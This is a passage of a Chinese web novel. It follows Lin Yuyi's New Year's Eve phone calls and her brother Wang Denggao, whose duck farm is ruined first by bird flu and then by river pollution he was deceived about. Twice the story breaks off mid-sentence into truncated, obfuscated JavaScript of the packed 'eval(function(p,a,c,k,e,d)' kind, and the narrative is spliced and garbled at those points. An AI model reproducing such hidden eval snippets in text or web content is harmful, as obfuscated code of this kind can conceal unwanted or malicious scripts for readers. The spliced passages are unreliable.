“林——羽——翼——!新——年——快——乐——!”张潇扬声嘶力竭地喊。 她那边背景音很吵,轰隆隆的烟花声响个不停,还有剧烈的人群欢呼声。 “张潇扬——!”林羽翼呼口气,气急败坏地喊,“我的耳朵!” “你——说——什——么——我——听——不——到——”张潇扬继续吼。 林羽翼:“……” 张潇扬:“我——在——徐——家——汇——跨——年,这——边——好——吵——” 林羽翼问:“徐家汇在哪儿?” 张潇扬没有回答。 好吧,她听不见。 林羽翼安静地等了片刻,听着听筒里吵吵嚷嚷的人群欢呼声,莫名的,她脸上露出一个浅浅的笑容: “还活着就好,大小姐,这么多天没联系,我还以为你不会回来了呢。” “新年快乐,张大小姐。明年也要加油考雅思,争取早日考过,早日出国。” 林羽翼的声音很轻,她知道张潇扬听不到。 几秒后,电话挂断。 林羽翼站在电话边,隔着窗外的阵阵焰火声,隐约能听到楼下的麻将声、笑闹声,听筒里嘟嘟嘟的声音响个不停,林羽翼怅然若失地放下听筒,正要离开,忽然,电话铃又响起。 不是张潇扬刚刚打来的号码。 林羽翼犹豫片刻,听着楼下的麻将声,估摸着这会儿王三叔应该没空上楼接电话,她帮忙接起电话。 听筒里,传来一道无比熟悉的声音。 “王叔叔您好,我是师涟,林羽翼她在吗——” 林羽翼脸上那一丝失落的情绪荡然无存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“笑你啊。”林羽翼轻轻说,“哎呀,要是班上同学知道,冰山一样的师涟也会用这么苦恼的语气说话,不知道得惊讶成什么样。” “他们不会知道的。”师涟语气同样轻柔,“你不会说的,对吧?” “嗯……不会。” 林羽翼极为放松地靠着墙,脚尖很有节奏感地往前一踢一踢。 师涟接着说:“我最喜欢的大概是这里的天气,就算是在冬天,气温也不会很低,不像蜀都,冷得人压根不想出门。而且这里阳光很充裕,街上明明没多少绿植,可是一出门就能看见蓝天白云。” “哇——那可真好。”林羽翼由衷感慨道。 或许是位于盆地中央的缘故,蜀都的天色永远都是灰蒙蒙的,尤其是冬天,难得有一次太阳天。每次出太阳,阳光穿透云层,洒在大地上,蜀都的河边、茶馆边就会“长”满晒太阳的人们。 “你们那里能看到海吗?”林羽翼好奇地问。 “我阿姨家离海很远,开车要大半天才能到海边,不过我们有去看过海,阿姨给我拍了照片,开学我拿给你看。” “嗯!以后我们去广城吃早茶喝甜水的时候,也一起去看海吧!” “好。到时候可以顺便办个签证,去对面的港城玩,听说迪士尼乐园快要修好了。” “好耶!不过一定会花很多钱吧,到时候我们得努力挣钱才行。” “上了大学后,我们可以用空余时间打打零工,勤工俭学。” “……” “……” 和师涟有一搭没一搭地聊着,林羽翼浑然忘了外界的一切,终于回过神来,是被王登高的怒吼声惊醒。 “林羽翼——!几点了还在这儿打电话!还说你没早恋——!”王登高从楼梯冲上来,脸黑得可怕。 林羽翼恍惚地眨眨眼,终于听见窗外震耳欲聋的烟花声,意识到:“……零点了?” “你说呢?我还在家等着你跨年呢!”王登高恶狠狠地盯着听筒,“和谁打电话呢?” “和师涟。”林羽翼赶忙给师涟说了句新年快乐,随即把听筒交给王登高,也不知道师涟和王登高说了什么,下一秒,他脸上的阴霾一扫而空,变成温和的笑意。 挂断电话,林羽翼看了眼屏幕上的通话时长,整整三个小时。 长途漫游三小时,话费得上百。 她心虚地扯一扯王登高的袖子:“哥,明天你去把话费给三叔。” “行。”王登高一口答应下来,没有指责她什么,反倒诡异地沉默了。 兄妹两人安静走过王三叔家堂屋,穿过依旧在麻将桌上奋战的人群,走出焰火灼灼的小院,回到自家冷清的屋子里。 王登高吐口气,沉声说:“等明年……不,今年夏天,我们家也把电话安上。” 30.第16章 春节离夏天有多远? 只有五个月时间。 对林羽翼来说,仿佛只是一眨眼。 从高二下学期开始,一班的晚自习从以前的三节课,变成了四节课——晚上九点半才下课。 周末休息时间也被砍了一半,就算是周六,林羽翼也得去学校自习。 原本一个月一次的考试变成了半月一考,就连即将到来的暑假,也只放十来天假。学习这件事忽然变得无比紧要。 每周五的班会课上,班主任杨老一遍又一遍,不厌其烦地在讲台上说着“高考、高考、高考”、“学习、学习、学习”。除了高考和学习,好像没有别的任何话题。 林羽翼只觉得,闷头在教室里埋头读书的那些时间变得越来越快,眨眼间便溜走了似的,找不到一丝痕迹。 对王登高来说,这段时间却无比漫长,漫长到……就好像夏日仿佛永远都不会到来。 …… 王登高忙碌了整个冬天,除夕夜那晚回了趟家,第二天下午,他便马不停蹄地回到工作中。 以前他在鸭场工作时,只知道年前是最忙碌的时节,忙着卖鸭子,东奔西走到处送货,一直到年后才清闲。 可是自己当了老板过后,王登高才发现,年后压根清闲不下来! 年后要去收债的呀! 年前那些买鸭子的客户,尤其是大批量订购的老客户,哪个不赊一笔钱?各个嘴里都说着:“快过年了,手头实在是没有钱,这笔账先记着,年后一定还给你。” 王登高能怎么样?他才开始做生意,手头只有那么一丁点儿客户,只能赔笑着应下。可是真到了年后呢?他手头的那点儿钱压根不够买新一批鸭苗,他只得厚着脸皮,一家一家地去“讨债”,把钱要到手里才安心。 一个春节过去,王登高不知道硬着头皮参加多少次应酬,喝了多少酒,僵着一张脸笑了多少次,可算是把钱给要得七七八八,他根本没时间休息,马不停蹄地就得打扫鸭场,购入新一批鸭苗,为初夏的端午节做准备。 听着鸭场里叽叽喳喳幼鸭的叫声,王登高抹一把汗,坐在河边石坝上,吹着微腥的河风,紧绷了两个多月的心弦终于松懈下来。 “总算可以好好歇一阵子。”王登高呼口气,起身双手张开迎着河风,不知道是不是一段时间没住在河边的缘故,他感觉河风比两个月前要腥了一点儿。 王登高没放在心上,他最后看了几眼场子里活蹦乱跳的幼鸭,心满意足地回到一旁的棚屋里睡去了。 王登高一觉睡得很舒服,做梦都梦见这一栏幼鸭长得飞快,被大客户高价收走,他还完借款后手上还有一大笔余钱,立马跑回村里把旧房子翻新一遍,他和妹妹站在漂亮的新房子前呵呵傻笑…… “哥!王哥!你看着鸭子咋蔫了呢?像是染病了!” 王登高的美梦被一阵焦急的喊声打断,他睁眼,棚户外已经蒙蒙亮,鸭场小工捧着一只幼鸭站在门口,焦急得直跺脚。 “咋了?”王登高揉揉眼睛,快步走到小工面前,一看他手上的那只幼鸭,他的脸色立马黑了。 小鸭子羽毛乱糟糟的,细细的脖颈无力地往下垂着,眼睛半闭着,似乎连睁眼的力气都没,可是又时不时抽搐一下,脑袋用力向上摆动,狠狠打个喷嚏,鼻子上、眼睛上的浑浊粘液被甩得到处飞。 “是不是被冻着了?这像是感冒了呀。”小工小心翼翼地说,“外面、外面一大串鸭子都是这样……看着蔫兮兮的,可是抱在手里烫人得很。” 王登高黑着脸,快步迈出棚屋,果然,外边场子里的幼鸭一个个都蔫着,无精打采地挤在一团,厚重的呼吸声重叠在一起,变成异样的噪音。 他捏起一只小鸭子,果然,就像小工说得那样,小鸭子的身体烫得要命。 “不是冻着,是病了。”王登高仔细看着小鸭子鼻腔外的黄色粘液,先是松了口气,可脸色又渐渐凝重起来,因为他不知道这是得了什么病。 他养鸭这么些年,大大小小的病症也见过不少,鸭瘟、霍乱、新城疫,他都有亲眼见过—— 刚才他差点以为幼鸭得了鸭瘟!可给他吓得!但仔细观察后,他发现小鸭子的症状虽然和鸭瘟挺像,但总体比鸭瘟弱不少。 如果是鸭瘟,一只手掌大的小鸭子哪儿遭得住,这会儿都死一片了! 更重要的是,这些小鸭子早在温老板的厂里就已经打了鸭瘟疫苗,这是白纸黑字写在合同上的,温老板可不会作假。 那到底是什么病?以前王登高只会养鸭子,鸭场里鸭子得了病,都是另一个学畜牧的同事去处理,王登高跟着那人学了几年,自以为学得七七八八,可真要自己处理突发情况时,才发现大脑一片空白。 要他给鸭子灌药他倒是会,照本宣科地判断得了什么病他也成,可偏偏这是他没见过的病呀! 王登高焦急得团团转,生怕这些小鸭子撑不过来,才不管天才蒙蒙亮,立马拿起手机打给温老板。 “哥,我昨天从你那儿买的那批鸭子……” 电话一接通,不等温老板说话,王登高火急火燎地把发生了什么一股脑说出来。 温老板那边沉默着,似乎还没睡醒,等王登高说完,他还没出声,王登高听着电话那头的呼吸声,急得心脏重重地跳,可他又不敢催促,等了好一会儿,温老板终于沙哑道: “你再把鸭子的症状说一遍。” 王登高咽一口唾沫,这回没那么急了,认认真真重新说了一遍。 “估摸着是禽流感。”温老板思考道。 禽流感?怎么会是禽流感? 王登高怔怔地皱眉,不怪他不了解禽流感,广都不是禽流感高发区,前几年温老板养的鸭子都没打流感疫苗,这么多年了也没染过病,王登高去年那批鸭苗同样好好的,怎么就偏偏这一批出事儿了呢? “你问我,我问谁去?”温老板呵一声。 王登高这才发现,自己不小心把心里的疑惑说了出来,他急忙道:“不好意思啊温哥,我就是太急了……” 温老板点头:“我知道。我先给你保证啊,我们厂里的鸭苗,绝不可能出厂的时候得禽流感,不信你来厂里看看就知道了。你仔细想想,昨天你把鸭子运去你们厂的路上是不是发生了什么事儿?你运鸭的车是哪儿租的?” “车子是河边的养鸭户介绍的,司机刚从外地回来,好像是东南那边……” “这就对了!”温老板一拍大腿,“王登高,你没看新闻呐?东南那边刚爆发大规模禽流感!” 王登高捏着小灵通的手都在抖,他前几天忙着要钱,忙得昏天黑地,哪儿有时间关注什么新闻呐? “这……这怎么办……?” 温老板沉稳道:“你别急,还好这次爆发的禽流感危险度不高,主要是得防着继发细菌感染,我给你个方子,你每天给鸭子灌着药,好好养护着,有什么问题再打电话给我。实在不行,我这里有炮制好的中药秘方,便宜卖给你,你拿回去用就是。” 紧接着,他叹口气,恨铁不成钢般训斥道:“王登高,你说你怎么回事!你自己当老板也当了大半年,怎么啥都不懂呢?新闻你不去看,传染病的书你也没去读过吧,连禽流感都不知道!你怎么搞的?” “我……”王登高咬着舌尖,一阵羞愧。自己开鸭场之前,他的确没想到当老板有那么多事情要忙,要账就把他忙得昏了头,根本顾不上其他。 “唉。”温老板长长叹口气,“你先按照我教你的做着,等你空下来了,去新华书店买几本书——《禽病学》、《家禽传染病》,《家禽养殖》的杂志也得看,你好好学着!还有,有空盯着农业台的新闻看,电视看不了就听收音机!” “是,是,谢谢温哥。”王登高连忙道。 “你啊……”电话那头,温老板摇摇头,“我可真是为你操碎了心。” 王登高心里又是觉得感激,又是一阵愧疚,可这会儿门外一堆病鸭子还等着他去处理,他急得直挠头,连连感谢温老板几句,立马按照温老板说的方子出门抓药去了。 抓药、熬中药、再挨个给小鸭子灌下去,还得给种鸭做好隔离防护,王登高和小工们没日没夜地忙了几天,总算是看着小鸭子们一点点恢复精神。 王登高的鸭场被突如其来的禽流感折磨得要死要活,河边其他几家养殖户也好不到哪儿去,以前广都没有禽流感,压根没人防着,这一波流感一来,差点全军覆没! 沿河两边闹得人心惶惶,王登高一边要顾着自家鸭场,一边又要帮着别人—— 他总不能只顾自己吧?禽流感这东西传得凶猛,要是别家的鸭苗染了病,迟早沿着河水传到他的鸭场来!这么多年,沿河的养殖户们都是互帮互助心连着心,才挺过一轮又一轮传染病。 王登高为鸭场费尽心思,忙活近一个月时间,他依旧不敢放松警惕,眼看小鸭子好转,他立马跑去畜牧局订了批新型流感疫苗,第一时间给鸭子们打上,生怕下一轮禽流感又传到广都来。 因为这禽流感,王登高又去借了笔账,依旧是在温老板朋友的那家公司,当天借,当天就拿到了钱。 等他终于能够抽出时间,好好休息一番时,王登高沿着河滩一路往上游走,他忽的发现,河滩两岸变冷清了不少,以前沿岸都是养鸭户,现在隔着老远,才遇得到零零散散的一两户。 怎么回事儿?王登高三两步跑到最近的一家养鸭户跟前,询问道:“刘叔,河边咋突然这么冷清了呢?” 刘麻子是河边的老养鸭户,王登高还没开始养鸭的时候他就在这里。禽流感来临时,也是他第一个来寻求王登高的帮助。 现在看来,刘麻子的鸭场已经彻底挺过禽流感,半大的小鸭子们叽叽喳喳在河滩边扑棱着翅膀,种鸭在不远处的河水里缓缓游泳,一幅欣欣向荣的景象。 刘麻子此时却点着一根叶子烟,惆怅地坐在河滩边发呆,树皮般的脸上遍布褶皱,甚至让人无法分辨他是在皱眉,还是本身如此。 “突然冷清?”刘麻子听见王登高的询问,呵地笑一声,“啥叫突然冷清?王登高,你没注意到哦!去年就有大半的养鸭人搬走了,搬到山里去开大鸭场了!你们温老板不就是?” 刘麻子语气中带着深深的怨恨,他养了这么多年鸭子,都没能搬去山里开大厂,只能守着这一亩三分地。 谁叫他是个“保守派”呢?没抓住鸭场扩张的机会,舍不得花钱雇人,自己一个人就只能养那么些鸭子。 王登高对此没什么感觉,水往低处流,人往高处走,不就是这个理儿吗?要是他有钱了,他也第一时间搬迁。王登高挠挠脑袋,试探着问:“可是剩下的人呢?禽流感不都过去了吗?” “禽流感!”刘麻子说话带着刺儿,“禽流感过去了!可好多人家里的鸭子没挺过去!那些挺过去的呢,又实在觉得心焦,你想想,这么劳神费力的一场病,要是多来几次,那还得了?这次是低危病,那下次呢?要是高危禽流感,所有鸭子都得拿去烧了!几年的努力白费!那些人不敢赌,不就把鸭子卖咯,不做咯?” “哈……人嘛,总是得冒一点儿风险的,这点儿胆量都没,哪儿能赚到大钱?”王登高注意到刘麻子的鸭圈,眼珠一赚,“刘叔,你就是敢冒风险赚大钱的那个人,对不对?我看你圈里的鸭子增多了不少,你从别人手里把鸭子收来啦?” 王登高的夸奖让刘麻子脸色好转几分,层层叠叠的褶皱稍稍舒展开,但很快又堆叠起。 刘麻子恍惚地叹口气:“王登高,你知不知道……” “什么?”王登高没听清,刘麻子说话声太小了。 “没什么没什么。”刘麻子摆摆手,缓缓吐出一口熏人的烟圈,“前几天从别人手里收鸭子的时候,我心里那叫一个豪情万丈,可现在冷静下来,我后悔了。小王,说实话,我倒不是怕风险,我就是觉得累。你想想禽流感那几天我们累成什么样了?每天提心吊胆,要么东跑西跑的,去买药、去求别人帮忙,要么寸步不离守在圈子外,觉都不敢睡。小王,你年轻,你受得住,可我是真受不住了……你知道吗?我昨天肚子痛去医院,医生说我的肝出了问题!我这么多年都健健康康的,怎么突然就病了?还不是被鸭子给累病了。” 王登高看着刘麻子的侧脸,认识好些年,刘麻子在他眼里似乎没有过什么明显的变化,可这会儿听着刘麻子的诉苦声,看着刘麻子脸上粗糙的褶皱,王登高忽然觉得,刘麻子似乎的确比以前苍老不少。 “我后悔得紧啊。”刘麻子重重揉揉脸,“这次是挺过来了,下次呢?这么多鸭子,要是再来一次,我这条命还要不要了!操劳大半辈子,我这下生了病,心头总想要休息休息,小王,你说是不是?” “是、是。”王登高连连点头,随即道,“刘叔,我怎么感觉你话里有话呢?我们认识这么多年了,你有什么困难直说,我这个做小辈的还能不帮你不成?” “困难倒是没有,主要是身体问题……唉,好吧,小王,我直给你说吧,我在犹豫要不要把鸭子全部卖出去,我不养鸭了!” “现在?”王登高一怔。 “就现在。”刘麻子肯定道。 “现在脱手划不来(注1)啊!只差一个多月就到端午了!”王登高下意识提高音量。 “划不来有啥办法?”刘麻子垂着脑袋,“我真的……太累了啊。我这身体……一个月都难说啊!唉。小王,你问我这么多,我看你是想要继续养下去的,要不……” 他顿了顿,舔舔干涩开裂的嘴唇:“这批鸭子你收下?” “我?”王登高立马摆手,“刘叔,我不行啊!我哪儿来的钱收下这么多鸭子?我手头就剩那么一丁点儿钱了!” “不要你多少钱!”刘麻子见有戏,立马道,“我不赚你的钱,你看这些鸭养得多好,多胖,多活跃啊!全部按照鸭苗的价格转让给你,怎么样?” “那……那刘叔你亏大发了呀!” “嗐,亏什么亏?小王,我和你说实话,我从别人手里收鸭子的时候,他们也给的我鸭苗价。也就只有我亲手养大的那群鸭会亏点儿钱,但亏得不多,一共几百块。和我自己的身体比起来,几百块算什么呀!你说是不是这个理儿?” 王登高心脏怦怦跳,他真心动了,用鸭苗的价格收几千只鸭子,自己什么都不用做,再等一个多月鸭子就能出栏,这种一本万利,不,简直没有本金的事情,谁不心动? 但王登高眉头依旧皱着,语气依旧挣扎:“可是刘叔,我手头真一点儿钱都拿不出来,我还欠着别人钱呢!” “嗐,你和刘叔说这些呢!把我当外人?”刘麻子放下烟头,大手一挥,“你要是诚心收下这批鸭子,我给你打个借条,我不收你什么利息,只要等到端午,你把出栏的成鸭卖出去了,再还我钱,怎么样?” 王登高心里“嘶”了一声,看得出来,刘麻子是真不想再干了,他重重一咬牙,不再犹豫:“行吧,刘叔,你这批鸭子我要了!” …… 王登高的鸭子数量翻了一倍,他和鸭场两个小工忙碌却不止一倍,每天一觉醒来,那么多张嘴叽叽喳喳地等着养呢!怎么会和之前一样? 一个月,只用一个月,鸭子就出栏了,到时候拿到钱,自己再招两个人,把鸭场规模稍稍扩一扩,这么稳当地发展一两年,很快就能搬迁区开大场子了!每次累了,王登高这么一想,立马就提起干劲儿。 鸭子们也争气,长得那叫一个茁壮,王登高每天睁眼看见圈里的鸭子,脸上不自觉浮出笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“从、从河里舀的啊……”小工挠挠头,“王哥你叫我们去舀的河水。” 王登高没说话,他起身一步步走到河边,可能是闻习惯了的缘故,他并不觉得有腥味,可是当他跪下身捧一抔水,鼻尖凑近仔细闻一阵后,刺鼻的腥臭直钻大脑,刺得他一阵反胃。 “呕——”王登高踉跄起身,阴沉盯着河水。 “这水怎么这么腥?” 身后,两个小工呆愣着,没有人能回答他的问题。 王登高只能去接自来水,三个人抬着大桶,一路从河边走到千米开外,才遇得到接通自来水的商户,接满水,三个人再抬着大桶艰难走回去。 紧接着,他们一只一只地给鸭子灌水、催吐,从白天忙到晚上,再从晚上忙到白天。 可是没有用。 短短两天时间,鸭子歪七八扭地死了一大片,就连最开始中毒不严重的,也逐渐开始抽搐、没了平衡,剩下那么几只还活着的,眼睛上布满了黄色粘液,这品相,压根卖不出去。 就连去年的那批种鸭,好不容易养到下蛋的年纪,竟然也都着了道。 满地鸭屎,呕吐物和分泌物,鸭子尸体渐渐发酵,整个鸭场被一股浓烈的腥臭味笼罩。 看着这群死气沉沉的鸭子,王登高不知道该怎么形容自己的心情,他一手养大的鸭子,他觉都不敢睡,日日夜夜守在鸭圈边养大的鸭子,撑过了禽流感,撑过了春天,越长越状,眼看就要出栏,忽然之间什么都没了,什么都没了! 毁了,一切都毁了。大半年的心血,去年借的九万块钱,今年添的新账,刘麻子那里还有一张欠条。完了。 霎时间,王登高连心痛的情绪都感觉不到,他只觉得麻木。 他麻木地起身离开鸭圈,脚步晃荡,近乎本能地沿着河滩一步步往下游走,他不知道自己在想什么,不知道自己要去哪儿,只是看着河一直往下流,他只想跟着往下走。 两个小工面面相觑,不知该怎么办,可他们看着王登高青黑的脸色,不敢上前叫他,只得呆愣在原地。 王登高不知走了多久,终于看到了一家养鸭户,他远远闻到一股熟悉的臭味,身体不受控制地哆嗦一下,随即像养鸭户走去。 这家的鸭圈已经被清理干净了,什么都不剩,只有一个中年男人坐在河滩的巨石上抽着烟,看见王登高,他惨淡笑着招呼:“挺眼熟啊,上游养鸭的?” 王登高沉闷地“嗯”了一声。 男人给他递根烟。 王登高想说自己不抽烟,可他犹豫片刻,还是接下那只烟,男人帮他点燃,他生涩地把烟送到嘴边,吸一口,被呛得直咳嗽。 咳得满脸是泪。 “哈哈哈……这下全没了,你也是一样的吧?”中年男人无力地笑,“我今天才知道,原来是河水的原因,上游开了几家垃圾处理厂!” “垃圾处理厂?什么时候?”王登高哑着嗓子问。 “上半年!哈哈哈哈……那些知情的人早搬走了,只剩下我们这些傻子!”男人笑着笑着,脸上浮出泪痕,“其实早有人和我说过这事儿,可那时我不信,我……我!” 烟头从王登高颤抖的手指间滑落在石滩上。 他怔怔望着奔腾不息的浑浊河水,脸色从青黑一点点变得惨白。 垃圾处理厂? 那些早得到消息的人早搬走了? 王登高立马想起了刘麻子,难怪!难怪刘麻子宁愿亏本也要把鸭子转给他!刘麻子那时就知道了垃圾场的消息! 王登高猛地转身,像一头猛兽般跌跌撞撞冲向广都城的方向,直奔刘麻子家门口。 沿着河回头往上流跑,穿过人群拥挤的老拱桥,就到了杂乱不堪的下河坝。九几年的时候,下河坝算是广都除了城中心最热闹的地方,可现在热闹过去,只剩下一片狼藉,随地摆着摊卖碟片的贩子,拐角处臭烘烘的猫狗贩子,脏兮兮的市场,地面到处都是菜叶和脚印。 一栋栋残破楼房歪七八扭地立着,王登高拐进其中一栋楼里,咚咚咚上了楼,抬手在刘麻子家铁门外用力砸了好几声,没有得到回应,王登高稍稍冷静下来,听见楼上传来一阵噼里啪啦的麻将声。 他立马冲向楼顶花园,只见刘麻子这会儿正滋润地晒着太阳,乐呵呵和另外三个老头打着牌! “刘麻子!”王登高气势汹汹冲到他面前,冲撞的力道差点没掀了麻将桌,他瞪红双眼,想要捏住刘麻子衣领,又强忍了下去,他吼道,“怎么回事儿?” “啊……?”刘麻子浑浊的眼珠转悠,身体一下子发起抖,声音都变了调,“啥——?” 其他几个牌友原本想劝王登高冷静,然而一看刘麻子那贼溜样儿,再看看王登高一脸凶恶,就知道是刘麻子闯了祸,立马头也不回地跑掉了。 “你说是啥!垃圾处理厂!别给我装不知道!”王登高眼白渗出血丝,“你当初把鸭子卖给我,压根不是身体不好,是因为你听说了垃圾处理厂的消息,你怕鸭子砸你手上,是不是!” “我、我……”这时候否认已经没意义了,刘麻子喘着气,脑子运转飞快,“什么垃圾场?我只知道你还欠我一笔钱,买鸭子的钱!” “鸭子都死了,被污水毒死了!”王登高面色阴沉。 “我不管,那不关我的事!”刘麻子扯着嗓子,“反正你必须得还钱,白纸黑字写着的欠条!你不还,我、我就去广都中学找你妹妹!” 王登高没有回答,听到妹妹两个字,他盛怒的脸色似乎一下子消融了,但转而变得愈加阴沉,愈加恐怖,他背着光,像是从地狱里淌出来的吃人恶鬼。 刘麻子意识到自己说错话,嗓子一扯,立马转移话题:“垃圾处理厂的事儿……我哪儿知道呀?我是真不清楚!你来问我干嘛?去问你们温老板啊!他才是第一个从河边搬走的人!他、他手头消息灵,他比谁都清楚!” “我当初把鸭子转给你,真不是想坑你,我以为你们温老板和你透过底儿呢,我以为你心里有数,我以为垃圾处理厂还没开呢。”刘麻子呼着气接连说道。 温老板——? 王登高霎时间浑身冰凉。 31.第17章 温老板早就知道了垃圾处理厂的事儿? 他早就知道了——? 他——! 王登高第一反应是不相信。 不敢相信,也没有理由相信。 温老板怎么会骗他?怎么会一直瞒着他?他不信! 王登高大脑一片混乱,脑海里闪烁着这些年和温老板相处时的一幕幕的画面。 温老板无疑是个好人。 很多年前,王登高还在化肥厂饲料部工作时,每次给温老板送饲料,温老板都会给他准备一袋水果,笑呵呵问他累不累,还邀他一起吃饭。温老板对待其他小工,也是一样的态度,从那时起,王登高就认定了温老板是个好人。 后来他从化肥厂辞了职,跟着温老板一起干。温老板对他从来就像是亲哥哥对待亲弟弟一样,什么事儿都把他带在身边,认真教着他,还出钱带他去考了驾照,把自己的车拿给他开。 这么多年,温老板对他的好,他都一件不落地记在心里。 对王登高来说,温老板就是亲大哥一样的存在。 温老板怎么会坑他呢?他不信啊……! 王登高浑浑噩噩地走到街边,走回鸭场,两个小工小心翼翼地凑上来问:“王哥,怎么样啊?还、还有救吗?” 王登高看一眼遍地狼藉的鸭场,无力道:“你们先收拾着吧,我出去一趟。” “好、好,王哥你啥时候回来?”他们还等着王登高发工资呢!鸭场都这样了,王登高不会跑路吧?小工惴惴不安地搓着手。 “晚上。”王登高留下这两个字,便戴上头盔骑上摩托车,沿河一路向南边的彭山山脉飞驰而去。 王登高不要命一般骑得飞快,原本一小时的车程,他半小时就骑到了目的地,一个甩尾,差点没撞到温老板鸭场大门上。 门卫听到摩托声,第一时间从门岗里跑出来吆喝:“干什么的?” “来找温老板。”王登高声音沉得吓人。 “找温老板?他没说今天有人啊……”门卫小声嘀咕一句,看见王登高掏手机打电话,他随手指挥道,“你先把摩托车停那边,人走侧门消毒!消了毒才能进鸭场!” “消毒?”王登高不解地挑眉。 “是啊。”门卫点头,温老板规定的,就算是天王老子来鸭场,也得消了毒再进去! 王登高一面摁手机,一面推着摩托车停放在一边,沿着门卫指的方向走去。 三两步走到铁门侧门口,保安已经“滋啦”推开铁门,从旁边拖出一个脚盆,里面盛着紫黑色的水。 王登高停在门外,他抬头看看铁门后的鸭场,低头再看看小灵通屏幕,他已经摁出了温老板的手机号,手指停在拨号键前,怎么都没摁下去。 鸭场里并不算安静,隔着老远就能听见叽叽喳喳的鸭鸣声,外边马路车来车往,引擎声吵得人耳膜直跳,可奇怪的是,王登高竟然能很清晰地听见自己的心跳,怦怦,跳得很快。 他在紧张,或者说,在害怕。 这不是他第一次来温老板的厂子,但前几次他都没进过大门,在门口把鸭苗接到手就走,温老板次次都在电话里说:“太忙了,我这里实在走不开,下回一定带你进厂子参观啊。”但真到了下次,温老板依旧没空,王登高理解,他知道,管理这么大一个厂子,怎么会不忙呢? “王……”王登高犹豫着要不要拨通电话时,他身后忽然响起一声微颤的女声,那女声迟疑片刻,似乎是被轻微的惊吓到了,还有点心虚,“登高,你怎么在这儿?” 王登高还埋头看着手机,一时没有反应过来。 几秒后,他恍惚转过身,和身后的女人对上眼:“……小、小刘?” 是他的前女友小刘。 大半年不见,小刘似乎没有任何变化,她穿着一身粉白相间的草莓图案小裙子,短外套十分清新可爱,微圆的脸颊上漾着甜甜的酒窝,只是此时她脸上肌肉明显因为尴尬而有些僵硬,笑得很不自然。 王登高话音还没落,保安笑嘻嘻地迎上前来,把他往旁边挤了挤:“老板娘,您回来啦?” 老板娘? 听到保安的话,霎时间,王登高头上仿佛劈起一道惊雷,响彻整个脑门,他僵在原地,瞪大了眼睛。 小刘似乎被王登高愕然的眼神吓到,她的目光下意识躲闪:“王……登高,你不知道吗?我、我和温哥在一起了,就在你辞职后不久。我、我以为你知道的……” “我、我不知道。”王登高说话时,嘴唇止不住微微颤抖。 他和小刘分手大半年时间,说实话,他已经渐渐淡忘了和小刘的过去,最多在午夜梦回时,会觉得心里空落落的。让他没有想到的是,小刘竟然和温老板在一起了——在他辞职后? 温老板从来没和他提起过! 都大半年时间了! 王登高今天脑子本来就乱,乱得快要炸开,小刘的出现让他大脑更混乱了,一时间,他只感觉有一团灼裂的火在大脑里燃烧扩散,横冲直撞。 “我……”小刘嘴唇抿了抿,尴尬地转移话题,“王登高,你怎么突然来这儿?温哥说你不做这一行了,他说你回化肥厂工作了,你、你在厂里呆得还习惯吗?” 小刘随口一问,却让王登高脑子更乱,他几乎没有思考,本能地回答:“我没有,我没有去化肥厂!我一直在河边,你、你不知道吗?我自己开了家鸭场,就在以前的位置。” 这回轮到小刘愣住:“我不知道。温哥说化肥厂给你开了高薪,雇你去外地,他说你很少回广都了。” 说完这句话,小刘看着王登高脸上拧巴又绝望的表情,忽的意识到什么,她一下睁大眼睛,眉头用力地往下压:“温哥他……” “温老板,哈哈哈哈……!” 王登高也意识到了。 他再迟钝,也终于意识到,温老板一直在骗他。 刚才他还想不明白为什么,可现在理由不就摆在他面前吗? 温老板想要和小刘在一起,所以就要他死。 别说什么女人如衣服兄弟如手足的屁话,同是男人,王登高能不明白男人在这方面的占有欲和嫉妒心能有多强?能有多疯狂? 只有他万劫不复,才能彻底断绝小刘和他复合的可能!才能满足温老板作为男人的占有欲! 王登高一手用力抓着头发,喉咙里发出癫狂的大笑声,仿佛把这几天心里的苦闷、憋屈、迷茫和痛苦一并发泄了出来。 “他骗了我,是他……他、他害我的鸭子都中了毒,我借的钱还不上,我、我!”王登高越说越是混乱,笑着笑着眼角浸出泪来。 小刘看着他发狂的样子,害怕地后退两步,铁门里,保安引着温老板狂奔而来。刚才一察觉不对劲儿,保安立马去叫人了。 “温老板您看,就是他!我刚一看见他就觉得怪怪的!” 温老板走得气势昂扬,脚步汹汹,然而看到王登高那人不人鬼不鬼的样子,又看到一旁瑟瑟发抖的小刘,他的步伐一下瑟缩了。 “温大河!”小刘远远看见温老板的身影,竟然发飙般怒吼出声,质问道,“你当初不是告诉我说,登高他回化肥厂了吗——!你、你骗我?” 当初要不是温老板告诉她王登高回化肥厂,不会再和他们有交集,她怎么会和温老板在一起?她还要不要脸了! 小刘平日里温柔甜美,可发起火来的样子也是真可怕,一双眼睛里冒出杀气。 “我、我那时是怕你不愿意和我在一起,才这么说的嘛,我、我还不是为了我俩的幸福?”温老板脸上堆起肉,目光犹疑,躲躲闪闪几秒,忽的站直了身子,语气也变得镇定而哀怨,反倒把责任往小刘身上揽,“唉!都过去这么久了,你怎么忽然计较起来啦?小刘,你仔细想想,我对你不好吗?我那哪儿是骗你,是为了你好啊,我是真的爱你,想和你结婚,如果不是为了和你一辈子在一起,我干嘛费尽心思瞒着你,我不累吗?” 温老板皱紧眉头,一副自己受了天大委屈的模样。 小刘脸上的怒气扔在,可听温老板这么一说,她心里的确涌起丝丝犹豫。 温老板对她不好吗?好得不得了!温老板温柔体贴,处处想着她,而且人又有钱,半年来没让她受一丁点儿委屈。要是温老板真对她不好,要是她真不喜欢温老板,又怎么会和他在一起呢? 温老板见势哄道:“小刘,我以前瞒着你,是我不对,我认错,认错好吗?我保证以后再也不会了。你也大度一些,不要像别的女人一样斤斤计较嘛!” “温大河,你不要脸!”听着温老板那油油腻腻的语调,王登高的情绪在这一刻彻底爆发,他猛地冲上去去,一把扯住温老板衣领,几乎要把人拎起来,“你是故意的!你从一开始就故意骗我,你一直在等我鸭子被毒死的那一天!” 王登高个头高,浑身肌肉,力气比牛还大,这时他手臂上横起条条青筋,好像下一秒就能直接把温老板掐死似的。 “登高你冷静些!”小刘看得慌了神,也不管他嘴里说什么中毒不中毒的,慌慌张张地想把人拉开。 